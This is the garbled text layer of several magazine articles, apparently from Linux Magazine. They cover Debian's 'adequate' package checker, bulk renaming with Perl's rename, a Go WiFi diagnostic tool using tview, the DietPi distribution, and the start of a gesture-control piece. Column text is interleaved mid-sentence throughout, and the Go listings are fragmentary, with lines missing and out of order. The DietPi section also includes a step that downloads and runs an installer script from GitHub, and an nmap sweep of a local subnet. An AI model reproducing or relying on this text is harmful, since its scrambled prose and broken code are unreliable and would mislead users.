nition shown in Figure 3. CardStock/wiki edge Institute ([Link]
IN-DEPTH
Command Line – adequate
More Than
Adequate
The adequate command-line tool helps users pinpoint problems (e.g., the absence of a copyright notice).
Nonetheless, by running any package
with installed DEB packages. By Bruce Byfield through adequate, average users can pin-
L
point the source of problems, possibly re-
ike less and most, adequate’s [1] can be a gamble. You should rarely need pair them, and file more meaningful bug
name is an both an understate- adequate in Debian Stable, whose pack- reports. However adequate is used, it of-
ment and a mild joke. A tool for ages have been thoroughly tested by the fers an insight into the structure of
analyzing the quality of installed time they are placed in the repository Debian and its derivatives.
DEB packages, adequate is actually a rig- and may have been updated to fix bugs The Debian Policy Manual, which ade-
orous test of quality control based on the and plug security holes. Similarly, in quate is based on, is a lengthy document
Debian Policy Manual [2], which makes most cases, packages from Testing that describes the structure of Debian
its results far beyond adequate. Like should also be reasonably safe. However, packages and repositories. It has grown
many Debian packages, adequate was packages in Unstable are much more of tremendously since first written in 1996
written for maintainers, but it is also a a gamble, not least because some devel- by Ian Jackson. Although little known to
useful tool for cautious average users. opers place new packages directly into casual users or outsiders, the Debian
You can find adequate in the reposito- Unstable rather than introducing them Policy Manual has frequently been de-
ries of Debian, Ubuntu, and Linux Mint. into Experimental. scribed by Debian members and officers
Average users will find adequate useful Outside the Debian structure, the risk is as what makes Debian what it is, rather
because, as mentioned in a previous col- even higher, whether you are using pack- than the packaging system or any other
umn [3], using a variety of repositories ages that originate in a Debian derivative core software. The Debian Policy Manual
such as Ubuntu or a development plat- covers a wide variety of subjects, rang-
Author form such as Ubuntu’s Personal Package ing from the naming of packages, ver-
Bruce Byfield is a computer journalist and Archives (PPA), GitHub, or GitLab. On sioning, package descriptions, depen-
Lead Image © rudall30, [Link]
a freelance writer and editor specializing such development platforms, any pack- dencies, required fields, pre- and post-in-
in free and open source software. In ages the developers take time to make is stall scripts for both binary and source
addition to his writing projects, he also sometimes second in importance to cod- files, and breaking or conflicting pack-
teaches live and e-learning courses. In his
ing, or they are made by someone with ages. If adequate detects no violations of
spare time, Bruce writes about Northwest
Coast art ([Link]
limited knowledge of Debian packaging. the Debian Policy Manual, you can be
com). He is also co-founder of Prentice Any standards are a matter of personal reasonably sure that installing a package
Pieces, a blog about writing and fantasy at preference. Not all the data provided by will not cripple your system or require
[Link] adequate is relevant to ordinary users long hours to undo.
adequate has uncovered a bug, you can major requirements are followed, it may looking at the source code or using the
paste adequate’s results into a bug report. not detect optional or discouraged prac- --apt-preinst to view the preinstall
If you are uncertain, contact debian-qa@ tices. Just as importantly, adequate does scripts. What adequate provides is
[Link] first. not detect whether a package does what package data that can help users locate
it is supposed to do. All it detects is the source of any problems. Q Q Q
A Cautionary Note whether a package’s structure conforms
Near its start, the Debian Policy Manual to the Debian Policy Manual’s expecta- Info
warns [4]: “This manual cannot and does tions. That is worth knowing, but it is [1] adequate: [Link]
not prohibit every possible bug or unde- not a comprehensive guarantee. unstable/adequate/[Link]
sirable behaviour. The fact that some- For that reason, adequate should be [2] Debian Policy Manual: [Link]
thing is not prohibited by Debian policy combined with a basic caution. Simply [Link]/doc/debian-policy/
does not mean that it is not a bug, let put, a package with few dependencies, [3] “Tips for Mixing Safely” by Bruce By-
alone that it is desirable.” or with no fixed, obsolete, or cutting- field, Linux Magazine, issue 266, Janu-
A little further down, the manual lays edge version requirements, is less ary 2023, [Link]
out the terms used to describe what must likely to cause any systemic problems. com/Issues/2023/266/Mixing-Debian-
be done, as opposed to best practices, This information can be easily found Repositories/(language)/eng-US
and what is optional or discouraged. on the Debian packages’ web pages for [4] Debian Policy Manual scope:
The same limitations also apply to ad- the Unstable or Experimental reposito- [Link]
equate. While adequate detects whether ries, or, with exterior packages, by debian-policy/[Link]
Figure 2: The debconf command-line GUI is one way to display adequate‘s results.
QQQ
Names Have
Been Changed
The rename command is a powerful means to simultaneously rename or even move multiple
files following a given pattern. By Michael Williams
U
sers often have to rename a col-
from your camera, or maybe you are renaming files with a text-based com-
lection of related files according
working with files created on an old Mi- mand is usually faster than using a
to a specific pattern. You might
crosoft Windows or MS-DOS system that graphical tool. Plus, Thunar’s Bulk Re-
have logfiles with dates and are all uppercase, and you want to give name tool, although powerful, is still
times in the file name, but the dates are
them more readable file names. limited in its flexibility. For example,
not written in your preferred format Changing the names of a few files by while Bulk Rename can rename files, it
(20230315 instead of 15-03-2023). Perhaps
hand may be manageable, but changing usually cannot move files from one di-
more than a dozen files quickly becomes
you have a collection of digital photos rectory or group of directories to
not only tedious another.
but error-prone. This article takes a deep look at the
Linux does have rename command [2], a very powerful
some tools that command-line tool written in Perl that
will rename files you can use for bulk renaming and a
in bulk. Most no- whole lot more.
tably, the Thunar
file manager [1] Getting Started
has a very flexible If you don’t have rename on your system,
Bulk Rename tool you can install it on Debian, Ubuntu,
(Figure 1), with and derivatives with the following
several powerful command:
built-in pattern-
Photo by CHUTTERSNAP on Unsplash
from which to
choose, making The rename command has the following
the tool sufficient syntax:
for most use
Figure 1: The Bulk Rename tool features many cases. rename [options] [expression] [files]
standard shell wildcards such as *.png or individual letters) – to change uppercase The s/// command searches for the part
file[0-9] are permitted. file names to lowercase. of the file name matching a pattern (en-
The expression consists of commands However, the expression can actually closed between the first two slash char-
to match and change parts of the file be almost any valid Perl code that oper- acters as shown in annotation 1 in Fig-
names; the results of applying the expres- ates on strings. If you are interested in ure 2) and replaces the matched text
sion to each file name are used to give the Perl expressions, see the official Perl with some other text (enclosed between
file a new name. Usually, you will specify documentation [3]. However, it is un- the second and third slashes, annota-
only one command – the s/// command likely that you’ll need more than the tion 2 in Figure 2). Listing 2 shows the
for searching (or, less often, the y/// com- s/// and y/// commands for changing results of running this s/// command.
mand for exchanging or transliterating file names.
Listing 2: New File Names After Running rename
Listing 1: HTML File Names with Redundant Text 01 $ rename 's/ - Wikipedia\.html$/.html/' *.html
$ ls -N 02 $ ls -N
Figure 2: A simple but typical rename command: The command searches for the search text (1) and replaces
any occurrence of it with the replacement text (2) in each of the supplied file names (3).
Note the backslash (\) character pre- named - [Link], - Wikipedi- match occurs at the end of the file name.
ceding the dot character (.) in the search azhtml, - Wikipedia!html, and so on. For example, the file Key Code Quali-
term (line 1 of Listing 2). The search ex- In practice, the set of files I want to re- fier -- [Link] would be
pression uses regular expression syntax name contains nothing besides files of matched by the regular expression I
[4], and the dot character has a special the form [x] - [Link], so escap- used in Listing 2, but the file Z - Wiki-
meaning in regular expressions. When ing the dot character is unnecessary in [Link] (which includes an extra
not preceded by a backslash (known as this case. However, when formulating trailing .gz) would not be matched. As
an escape), a dot character will match search terms, it is good to be as specific with the dot character, to match a lit-
not only a single dot character in the file as possible. eral dollar sign character in the file
name, but will match any kind of char- The dot character is one of several name, the dollar sign must be preceded
acter. If I had not escaped the dot and metacharacters that have a special by a backslash.
had instead searched for simply - Wiki- meaning in regular expressions (see You may also specify one or more char-
[Link] with a leading space, the Table 2). The dollar sign ($) at the end of acters following the final slash in the s///
search expression would have matched the search expression tells rename to command. These characters further mod-
files (again all with leading spaces) match part of a file name only if the ify the behavior of the search-and-replace
Listing 3: Logfiles Names with Dates and Times Listing 4: Date and Time Logfiles After Renaming
$ ls -N $ ls -N
daemon_20200309_071842 daemon_09-03-2020_[Link]
messages_20211213_134327 messages_13-12-2021_[Link]
messages_20230402_093200 messages_02-04-2023_[Link]
syslog_20191013_233611 syslog_13-10-2019_[Link]
syslog_20220726_185603 syslog_26-07-2022_[Link]
Figure 3: A rename command that uses back references to rearrange the parts of a date string. The annota-
tions illustrate each parenthesized region that is referenced by each back reference in the replacement
expression.
the replacement string using back refer- s/([0-9]{2})([0-9]{2})([0-9]{2})$/U might have some niche uses (see the
ences. To use back references, the por- $1:$2:$3/' * “y/// Options” box).
tion of the search string to be refer-
enced must first be enclosed in paren- (Note the new line after the semicolon Moving Files Between
theses. Then the parenthesized part of character. While not necessary, it im- Directories
the search string may be back refer- proves the readability of the search ex- Another potential use of rename is to have
enced in the replacement string by in- pression; rename interprets it as a harm- each category of logfile placed in its own
serting a dollar sign ($) character fol- less whitespace character). directory. In Listing 4, I have several
lowed by an index number into the re-
placement string. Transliterating Characters y/// Options
The following rename command uses The y/// command transliterates text.
Like the s/// command, the y/// com-
back references to accomplish my first It looks for each character specified in mand accepts a few option characters;
task of reordering the components of the the command’s first parameter and re- each option alters the behavior of the
dates and also inserts hyphens between places any instance of that character y/// command in its own way. The y///
the components: with the corresponding character in the options are rarely useful, but two op-
second parameter. For example, to re- tions, c and d, might come in handy.
rename 's/([0-9]{4})([0-9]{2})U place any As with Zs and any Zs with As Both of these options are used in con-
([0-9]{2})/$3-$2-$1/' * in file names, use: nection with an intrinsic behavior of
y/// known as squashing: If the num-
Figure 3 illustrates which parts of the rename 'y/AZ/ZA/' * ber of characters on the replacement
search expression are referenced by each list is less than the number of charac-
ters on the search list, the last character
back reference. The arrows in the figure After executing this command, the file
on the replacement list is duplicated
point to the referenced parenthesized re- [Link] becomes [Link].
until the search and replacement lists
gions of the search expression. While the y/// command is case-sensi-
are equal in length. For example,
tive like s///, the y/// command does
Combining Multiple not have an option switch to enable y/[A-Z]/x/
dated logfiles named daemon, syslog, and separated from the Listing 5: Separating into Subdirectories by Name
messages. While I currently only have five date by an under- $ ls -FNR
logfiles in that directory, I could eventu- score. I then use a .:
ally end up with hundreds or even thou- back reference fol- daemon/ messages/ syslog/
sands of logfiles to manage. Conse- lowed by a slash
quently, I want to move each type of log- in the replacement ./daemon:
file into its own directory (e.g., I want expression to tell 09-03-2020_[Link]
syslog_13-10-2019_[Link] to be moved rename to move the
into a directory called syslog). Ideally, I file into a direc-
./messages:
would also like the initial part of the log- tory named after
02-04-2023_[Link] 13-12-2021_[Link]
file’s name to be removed because the whatever was
containing directory’s name should make matched by the
./syslog:
clear the type of logfile. Listing 5 shows aforementioned
13-10-2019_[Link] 26-07-2022_[Link]
the desired resulting directory tree. parenthesized
Fortunately, rename can move files just expression.
as easily as it can rename them. In fact, it Note how I escaped the slash charac- All of these jobs and more can be per-
can do both in the same step. Obviously, I ter (as in \/) to guarantee that rename formed with rename. Furthermore, several
want to do both simultaneously in this does not mistake the slash as the end of jobs can be combined into one command
case, because I want to move the file and the replacement expression. Remember, for even more power and flexibility.
then remove the first part of the file name. the search and replacement expressions, This article has covered a number of
Unfortunately, to move a file to another as well as any options to the s/// com- examples to showcase the major features
directory, rename requires that the destina- mand, are separated by slash characters, of rename, but I have only scratched the
tion directory already exist; rename will just like file-name components are sepa- surface in terms of what can be done
not create the directory for you. Prior to rated by slashes. Actually, I could have with the command. Hopefully, you will
running rename, you will have to pre-cre- used virtually any character to separate be inspired to come up with your own
ate all the necessary directories. I used the parts of the s/// command; while rename commands. Q Q Q
the following shell one-liner to create the using slashes is the common convention,
directories before running rename: I also could have used at signs (@) in the Info
rename command above, or in any of the [1] Thunar:
find . -maxdepth 1 -type f -printf U previous s/// commands. The following [Link]
'%f\0' | grep -Eoz '^[^_]+' | U would have worked just as well:
xargs -0 mkdir
[2] rename: [Link]
rename 's@^([^_]+)_@$1/@' * File-Rename
This one-liner lists all files immediately [3] Perl expressions:
under the current directory – not any By using a character other than the slash [Link]
files under subdirectories – and then to separate the parts of the s/// com-
Regexp-Quote-Like-Operators
takes the part of the file name up to the mand, I no longer have to escape the
first underscore (e.g., messages), and slash in the replacement expression that [4] Regular expression syntax:
creates a new directory in the current denotes part of a directory path. In my [Link]
directory named after the first part of opinion, this makes the command a bit Regular-Expressions
the file name. easier to read. Just make sure that the
Now, to move each logfile and then character that you choose appears nei- Author
remove the initial part of each file ther in the search or replacement expres- Michael Williams, better known by his
name, I use: sion (or is escaped where it appears). pseudonym Gordon Squash, is a free-
lance, open source software developer. He
rename 's/^([^_]+)_/$1\//' * Conclusion is a member of the Core Developers Team
Once you understand its syntax and use, of the MATE Desktop Environment project
([Link] enjoys hack-
There are several things to note here. the rename command is an efficient and
ing anything related to the GTK+ GUI wid-
The first is that I instructed rename to very powerful utility for virtually any
get toolkit, and works toward developing a
search for any length of string at the very bulk renaming job you have in mind – fork of GTK+ called STLWRT (https://
beginning of the file name that does not from converting file names to title case, to [Link]/thesquash/stlwrt) when time
contain an underscore (the ^([^_]+) in moving files into different directories, to permits. You can see some of his other
the search expression). This takes ad- changing month numbers into month current projects on his personal GitHub
vantage of the fact that the logfile type is names (e.g., 2015-02-17 into 2015-Feb-17). page ([Link]
QQQ
Dr. Wireless
Why is the WiFi not working? Instead of always typing the same
steps to diagnose the problem, Mike Schilli writes a tool in Go that
puts the wireless network through its paces and helps isolate the
cause. By Mike Schilli
I
magine you’ve just arrived at your results, and hopefully zeroes in on the results (Figure 1). If the tests fail, the
vacation resort, and the WiFi isn’t root cause? program shows you helpful error mes-
working. Is the router’s DHCP I will use the tview [1] library from sages to narrow down the cause (Fig-
server failing to assign an IP ad- GitHub as the terminal user interface ure 2). Pressing Ctrl+C terminates the
dress to your laptop? Is it DNS? Or is it (UI) for my wifi diagnostic tool. After wifi tool, switches the terminal back to
just that the throughput is so poor that all, some well-known projects, such as normal mode, and lets it jump back to
everything seems to be stalling? Kubernetes, also use it for their com- the shell prompt.
You can diagnose all of these issues by mand-line tools. With just a few lines
running various command-line tools, but of code, tview switches the current ter- Parallel Test
it is tedious and annoying to have to re- minal to raw mode and displays simple The first two tests run by wifi send ping
peat the procedure every time. How graphical elements such as tables or requests to the Google server; both to
about a tool that repeatedly runs these forms in a retro white on black back- the hostname [Link] and to
steps at regular intervals, visualizes the ground style0 (Figure 1). It accepts the IP address of Google’s well-known
keyboard input in raw mode, and ap- DNS server ([Link]). If both tests fail,
Author plications can use it to control actions the connection to the Internet is proba-
Mike Schilli works as a on the interface. bly completely severed. However, if only
software engineer in the Called at the command line, the read- the host is not found, but the IP ping
San Francisco Bay Area, ily compiled Go program wifi from the succeeds, the problem is more likely re-
California. Each month source code in this article [2] runs four lated to DNS settings.
in his column, which has different tests simultaneously and dis- In the third test, labeled Ifconfig, wifi
been running since 1997, plays the results in a table. Every 10 sec- searches for all client IP addresses as-
he researches practical applications of onds, it runs the tests again and thus dy- signed to the computer by the network’s
various programming languages. If you namically reflects what is changing in DHCP server. If the test finds nothing,
email him at mschilli@[Link] the network. If everything is working as the router or the WLAN connection is
he will gladly answer any questions. desired, the tool displays the measured probably to blame. In the fourth test, the
Lead Image © Ewa Walicka, [Link]
tool sends an HTTP request to the You- keeps it running in the background, but away neatly, freeing up the terminal for
Tube server; if successful, it displays the it also creates a channel that it passes the shell again.
round-trip time in milliseconds. This test back to the caller. The current stopwatch
can diagnose a lame Internet service readings then arrive as formatted strings Tick-Tock
provider (ISP). via this channel every second, and the The actual stopwatch is implemented
caller picks them up to update the by Listing 2 with the clock() function,
Getting Close graphical display. which accepts an optional string argu-
As an example of what the tview library In the main program, the goroutine ment. The stopwatch doesn’t actually
can do, Listing 1 implements a running starting in line 14 concurrently uses a use this, but I want the function’s in-
stopwatch. Its current time arrives every select statement to intercept incoming terface to be able to handle more com-
second as a string via a Go channel. It is strings from the channel in an infinite plex actions for the UI later. That is
then dynamically refreshed in a TextView loop starting in line 15. As soon as a new why the code implements the function
type widget in the terminal interface. value arrives in line 17, the program no- as a variadic function. In Go, the three
To do this, the code pulls in the tview tifies the terminal UI by calling app. dots between the name of the parame-
framework from GitHub in line 5. Line 9 QueueUpdateDraw() and tells the frame- ter and its type (arg and string in this
creates a new terminal application and work to first clear the clock display with case) indicate that you can either call
stores a reference to it in the app vari- [Link]() before calling Fprintf() to the function entirely without argu-
able. The TextView widget is used as the write the new, current value to the Text- ments or with one or more arguments
clock’s window content: This is stored in View widget. of the specified type.
the tv variable and is shown with a bor- This completes setting up the UI’s In line 8, clock() creates the channel,
der in the terminal because of the graphical elements. All that remains is to which the function later passes back to
SetBorder(true) setting. SetTitle() adds inject the TextView widget into the appli- the main program, to hook it up for peri-
a header. cation window by calling [Link]() odic clock updates.
The call to the clock() function in in line 26 and to start the UI with Run(). Listing 2 uses an interesting trick to
line 12 starts the actual stopwatch. The It keeps running from this moment on display the time elapsed since the start
function not only triggers the timer and (Figure 3). If you press Ctrl+C, it folds time in hours, minutes, and seconds:
Listing 1: [Link]
01 package main 16 select {
03 import ( 18 [Link](func() {
04 "fmt" 19 [Link]()
06 ) 21 })
07 22 }
08 func main() { 23 }
10 tv := [Link]() 25
13 28 panic(err)
14 go func() { 29 }
15 for { 30 }
No Longer Toy-Sized
Moving on from the stopwatch example,
the actual application checks the net-
work in the background and periodically
refreshes the results of all tests in the
graphical interface.
The program compiled from Listing 4
goes by the name of wifi, but it can be
applied to wired networks in exactly the
same way. To display the test results, it
uses the tview project’s table widget in
line 10. A total of five rows, each with
two columns, contain a description of
Figure 3: A stopwatch built with tview. the test on the left and the dynamically
refreshed result on the right (see Fig-
Listing 2: [Link] of hours, minutes, ures 1 and 2).
01 package main
and seconds as When defining the window and table
02
numeric place- decorations, you need to look carefully.
holders. Other The table widget has a SetBorders()
03 import (
programming lan- function that determines whether or not
04 "time"
guages specify the table draws row and column lines.
05 )
such a format On the other hand, line 11 calls SetBor-
06
using a template der() (singular). SetBorder() does not
07 func clock(arg ...string) chan string {
string like refer to the table, but instead to the box
08 ch := make(chan string)
HH:MM:SS. Go, on (a container) in which the table is lo-
09 start := [Link]() the other hand, cated. The call draws a border around
10 chooses the the application, along with a headline at
11 go func() { strange approach the top.
12 for { of using the magic
13 z := [Link](0, 0).UTC() time at [Link] Lumped Together
14 ch <- [Link]([Link](start)).Format("[Link]") on Monday, Each table row is now assigned a test
15 [Link](1 * [Link]) 2/1/2006 as a ref- program. The ticking clock ends up in
16 }
erence [3]. the first row, the two network pings in
17 }()
Line 14 pushes rows 2 and 3, the display of the local IPs
the current state in row 4, and the HTTP request to the
18
of the stopwatch YouTube server in row 5. The newPlu-
19 return ch
as a formatted gin() function integrates these plugins
20 }
string into the ch with the table rows. The calls are each
channel. The call- given a pointer to the application and its
The [Link]() function in line 14 ob- ing main program listens at the other table in lines 13 to 17. And there are two
tains the time elapsed since the start end of the channel and keeps refreshing more parameters: a description of each
time in start as a value of the [Link]- its screen display with the incoming test as a string and a function that exe-
tion type. However, Go does not provide information. cutes the test.
elegant formatting as a string for this To generate the binary from the source As you can see from the signature of
type. The [Link] type for absolute code, the three commands from Listing 3 newPlugin() in line 25, the function ex-
time values, on the other hand, supports retrieve the code of the dependent librar- pects the test function fu passed to it to
the Format() function, which formats the ies from GitHub, compile the whole en- be in an interesting format. To accom-
internal time format in a human-read- chilada, and finally generate a modate all applications, the test function
able way. To get free formatting for the clock-main binary. If you start the result accepts a variable number of string
Duration type, Listing 2 simply converts at the command line, the terminal is
it to absolute time by adding it to the be- painted black and the stopwatch is Listing 3: [Link]
ginning of time at zero Unix seconds. drawn, ticking away the moments that go mod init clock-main
In case you are wondering about the make up a dull day, refreshing dynami-
go mod tidy
strange string [Link] as an argument cally every second, inside a framed box
go build [Link] [Link]
for the formatter: Go expects the format (Figure 3). But be careful: The tview
Listing 4: [Link]
01 package main 25 func newPlugin(app *[Link], table *[Link],
12 35
22 } 44 }
23 } 45 }()
24 46 }
arguments (...string) and returns a Ding-Dong in the following line jumps to the next
channel where the caller can later fetch I now need to integrate the new network iteration of the infinite for loop start-
results of the string type. Listing 2 has tests into the table. Each test consists of ing in line 14 and tries again.
already provided an example of this type a function that accepts an optional string
of test function: clock() creates a stop- argument and returns a channel. It starts First Round
watch whose current timestamp the the test task assigned to it and keeps it On first entering the loop, the firstTime
table now displays every second in its running while returning the results to variable is set to true. Line 25 then re-
first row. the caller via the channel. turns the Pinging ... string to the caller
To associate the test function with the Listing 5 uses the ping() function to via the ch channel, informing the caller
next available table row, line 32 appends ping servers or their IP addresses; it ex- that the test is still in progress. The Run()
a new row to the table for each call. pects either a hostname or an IP address function in line 30 executes three pings
Then line 34 calls the test function, as an argument. It returns a channel to to the network target specified in line 15
which in turn returns a channel and the caller, which it keeps populating and blocks the program flow as long as
keeps its network test running in the with ping results. the operation is running. If an error oc-
background for all eternity. To intercept With a similar interface as the com- curs, line 33 forwards it to the caller via
the results for the individual test, line 36 mand-line ping utility, Listing 5 uses the channel, and – after a 10-second
starts a new concurrent goroutine with the pro-bing package from GitHub to pause – continue in line 35 starts the
an infinite loop that uses a select state- send ICMP packets to the specified ad- next round.
ment to listen on the channel. When a dress. The package is fetched from If there is a response to the ICMP pack-
string arrives, line 41 uses [Link] GitHub in line 5. The new pinger in- ets sent, the network is obviously fine.
to refresh the contents of the assigned stance created in line 15 sets a timeout The call to Statistics() in line 38 then
table field. of 10 seconds in line 16. When the retrieves the statistical data for the com-
In order for the content of the updated timer for a request expires, the pinger pleted tests. The response times of each
graphical elements to actually appear on assumes that something went wrong ping request are stored in [Link] as
the screen, I need to forward the instruc- and the server cannot be reached. An- an array slice of seconds in floating-point
tion to the GUI manager. This is done by other cause for a failure could be a format. Line 39 unceremoniously bundles
the [Link]() function, problem with the name resolution for all three values into a string with the %v
which tells the GUI to redraw the table the server. Line 33 will inject an error placeholder in the format string, and the
field when it gets around to it during the message into the channel. Line 34 then same line immediately pushes this into
next refresh. waits for 10 seconds, and then continue the channel. The caller at the other end
Listing 5: [Link]
01 package main 23
02 24 if firstTime {
05 "[Link]/prometheus-community/pro-bing" 27 }
06 "time" 28
07 ) 29 [Link] = 3
08 30 err = [Link]()
12 34 [Link](10 * [Link])
13 go func() { 35 continue
14 for { 36 }
19 ch <- [Link]() 41 }
21 continue 43 return ch
22 } 44 }
Listing 6: [Link]
01 package main 30
07 "time" 36 }
08 ) 37
13 go func() { 42 }
14 for { 43
16 45 continue
17 if err != nil { 46 }
18 ch <- [Link]() 47
21 } 50 if [Link](ip).To4() != nil {
24 [Link](10 * [Link]) 53 }
25 } 54 }
26 }() 55
27 56 [Link](list)
29 } 58 }
grabs the values and displays them in the on the network interfaces assigned by the IP addresses, and you need to verify
graphical interface. the operating system. your DHCP settings.
The net package from the Go standard
Connection OK? library offers the Interfaces() function, Full Round Trip
When a WiFi client connects to the which returns all of the computer’s net- Finally, Listing 7 provides an end-to-end
router, it is assigned an IP address, work interfaces in line 33. For a laptop test by loading the YouTube title page off
which it can display with commands on a WiFi network, there are usually two the web. If this test also works, every-
like ifconfig. When you’re trouble- interfaces: the WiFi adapter and the thing should be fine. Because it also
shooting, it helps to know if that loopback interface. If your system is measures the time taken to retrieve the
worked. This is why the plugin from wired to the network, there are often page in seconds in the last line of the UI,
Listing 6 searches for local IP addresses more. Each of these interfaces, if con- you can guesstimate the speed of the ISP
nected, now has one connection. Figure 1 shows that the page
Listing 7: [Link] or more IP addresses. was loaded after 0.142 seconds in the
01 package main
Addrs() in line 39 test – perfect.
02
fetches them; the for To obtain this number, Listing 7 in line
loop starting in line 48 21 uses the Get() function to send an
03 import (
checks them. HTTP request; the function then blocks
04 "fmt"
Hardly anyone in the until the data arrives or the server re-
05 "net/http"
US has IPv6 addresses turns an error. If the display in the table
06 "time"
at home. For this rea- column gets stuck at Fetching ..., then
07 )
son, line 50 filters out something is wrong with the connection.
08
anything that doesn’t In that case, the other tests should give
09 func httpGet(arg ...string) chan string { look like IPv4 before you some clues to the cause. On the
10 ch := make(chan string) appending the interface other hand, if the hostname resolution
11 name (e.g., en0) and the fails due to incorrect DNS configuration,
12 firstTime := true IP address (without the line 23 pushes the error message into the
13 go func() { subnet suffix) to the provided channel, where the main pro-
14 for { list array slice. Line 56 gram picks it up to show you the results.
15 if firstTime { sorts all of them alpha- If everything is working, line 28 mea-
16 ch <- "Fetching ..."
betically, while line 57 sures how long the process took. To do
17 firstTime = false
returns it to the caller of this, it subtracts the start time of the re-
the ifconfig() function quest set in line 20 from the current time
18 }
in line 15. and pushes the resulting duration in sec-
19
The plugin works onds into the channel as a floating-point
20 now := [Link]()
like all the others. Re- number. The value then appears with an
21 _, err := [Link](arg[0])
sults such as error mes- OK message in the table column.
22 if err != nil {
sages or successfully The three commands in Listing 8 cre-
23 ch <- [Link]()
obtained IP address ate the wifi binary from the source code
24 [Link](10 * [Link]) lists are fed into the of the main program (Listing 4), the test
25 continue channel as comma-sep- plugins (Listings 5 to 7), the clock (List-
26 } arated strings, and the ing 1), and the GitHub packages and
27 main program fields their dependencies. Calling the wifi bi-
28 dur := [Link](now) and displays incoming nary starts the terminal UI and shows
29 ch <- [Link]("%.3f OK ", [Link]()) messages in the as- the network status. If needed, you can
30 [Link](10 * [Link]) signed table column. If add DIY plugins following the same ap-
31 }
there is an entry in the proach and display them in additional
32 }()
Ifconfig line of the ter- table rows. Q Q Q
minal UI in the private
33
IP range of 192.168.0.x, Info
34 return ch
then – obviously – the [1] tview:
35 }
connection to the [Link]
router is working. If, on [2] Source code for this article:
Listing 8: [Link] the other hand, only [Link]
$ go mod init wifi
the loopback interface s/5Rzx9tQW2FJ6N3Z
appears in the column, [3] Formatting date and time statements
$ go mod tidy
something is wrong in Go:
$ go build [Link] [Link] [Link] [Link] [Link]
with the assignment of [Link]
QQQ
MakerSpace
DietPi lean server distribution
Going Lean
The DietPi minimalist distribution improves the performance
of the Raspberry Pi and other single-board computers as
servers and desktops and comes with more than 200
specially chosen applications and services.
By Ferdinand Thommes
S
ince the first appearance of servers, older Raspberry Pis, and virtual
the Raspberry Pi more than 10 machines. Thanks to carefully consid-
years ago, many hardware ered scripts, the set up is a convenient
vendors have followed the process.
idea of an inexpensive computing pow-
erhouse on a small board. Companies From Debian
Figure 3: DietPi-Config provides options for regional settings, audio, security, autostart, and network.
Besides images for virtual machines, you task at hand. The images for both tests Rufus [3]. If you are on Proxmox, you
will find images for the Raspberry Pi, were sourced from the project’s down- can install DietPi manually or run a
Odroid, Pine64, Radxa, Allo, Asus, load page [2]: Just unzip the 7-Zip ar- script.
NanoPi, Orange Pi, and the VisionFive chives on Linux with the 7z tool. On To download the installer script from
RISC-V board [1]. Windows, the package name is 7-Zip for GitHub, make it executable, and run it,
The distribution mainly targets head- Windows, and The Unarchiver does the use:
less server applications (i.e., applications same job on macOS.
that do not require a display). However, $ wget U
if required, you can set up an X11 graphi- From an SD Card [Link]
cal user interface (GUI). In total, DietPi The procedure for the Raspberry Pi and dazeb/proxmox-dietpi-installer/U
comes with more than 200 thoughtfully other SBCs that boot the operating sys- main/[Link]
chosen applications for installation in its tem from an SD card is probably famil- $ chmod +x [Link]
I tested DietPi on a Raspberry Pi and pack the image from the archive and
on a virtual machine running on Prox- transfer it to the SD card. On Linux, for The script prompts with some default
mox, which is recommended if the com- example, you can use BalenaEtcher, settings you can adopt. The only input
pute power of an SBC is not up to the whereas a good choice on Windows is required is the name of the instance,
which will normally be local. When
done, you just need to start the virtual
machine created by the script.
For the Raspberry Pi, insert the SD
card and connect the device to a power
source. The first boot process takes lon-
ger than later boots because of basic set-
up steps and the automatic resizing of
the root filesystem. Depending on the
hardware, this process could take a few
minutes (Figure 1).
Display or SSH
For a first start, I recommend connect-
Figure 4: The DietPi-Software module lets you access the DietPi ing a display. After that, you can access
software. the system with the Dropbear SSH
server, which is enabled by default. If and installs them; again, this step canthe DietPi configuration, documentation,
no display is available, you can discover take some time to complete. SSH server, and log system. Most impor-
the Raspberry Pi’s IP address from your If you want to help the developers bytantly, it gives you access to the tool you
router or run the command sharing important information, you can can use to install or uninstall applica-
agree to DietPi submitting anonymized tions customized for DietPi [4]. Select
$ sudo nmap -sP [Link]/24 | U information about your usage behavior. the programs you want to install in
grep raspberry In the final step, change the general Browse Software. If you want to run the
password and the passwords for the userdistribution with a display, you can
on another computer on the network, and root accounts, if you have not al- choose between the LXDE, MATE, Xfce,
taking care to adapt the IP address to ready done so (Figure 2). Changes can LXQt, and GNUstep desktop
match your network. be made at any later time with the Di- environments.
With the IP address, root as the user- etPi-Config script (Figure 3) or the You will also find a large number of
name, and dietpi as the password, you passwd command. media systems and tools (e.g., Kodi,
can then use ssh to log in. Your next step Plex, Emby, and Jellyfin). Other catego-
is to open the [Link] configuration Curated Software ries include BitTorrent & Download
file and modify the hostname and pass- So far, so good. Now it’s time to turn Tools, Cloud & Backup systems, Gaming
words. After the initial login, DietPi your attention to the DietPi-Software & Emulation, Remote Desktop & Remote
searches for updated software packages script (Figure 4), which lets you access Access, Webservers and stacks (Web de-
velopment), Home
Automation, and
Advanced Network-
ing. Search Software
lets you find appli-
cations by entering
a title, a category,
or an ID in a search
box. I entered Next-
cloud and up
popped Nextcloud
and Nextcloud Talk
as matches; I then
proceeded to install
the first entry. You
can also select sev-
eral applications in
a single step; the
Install menu item
installs your
choices on the disk
(Figure 5).
Nextcloud gives
you a choice of
web servers. After
you confirm, the
installer first runs
apt to set up the
server, and then
takes care of Next-
cloud itself. The
script automatically
selects and sources
the dependencies
of the components
selected for instal-
lation. For example,
the Plex media
server is installed
Figure 5: DietPi offers a long list of pre-configured applications and services that can be with the Alsa
selected and installed at the same time. sound server as its
Conclusions
DietPi is a good choice for server appli-
cations, virtual machines, or as a desk-
top system for devices low on resources.
This lightweight Debian OS comes with
many applications that can be installed
with a few clicks.
An agile community provides monthly
updates for the well-maintained distribu-
tion. The detailed documentation not
only provides general information about
system maintenance, but also goes into
detail about the supported hardware [5].
I did not experience any issues during
the tests in our lab, which is at least one
reason you will want to shortlist DietPi
when it comes to using an SBC as a
server or desktop. Q Q Q
Info
[1] Supported hardware:
[Link]
[2] Download:
[Link]
[3] Flashing an SD card:
[Link]
2-flash-the-dietpi-image
[4] Software: [Link]
dietpi_tools/software_installation/
[5] Documentation:
[Link]
Author
Ferdinand Thommes lives and works as a
Figure 6: LXQt is just one of the desktop environments offered by Linux developer, freelance writer, and tour
DietPi for installation. guide in Berlin.
QQQ
MakerSpace
Use gestures to browse a document
on your Raspberry Pi
Hands Free
Have you found yourself following instructions on a device
for repairing equipment or been half-way through a recipe,
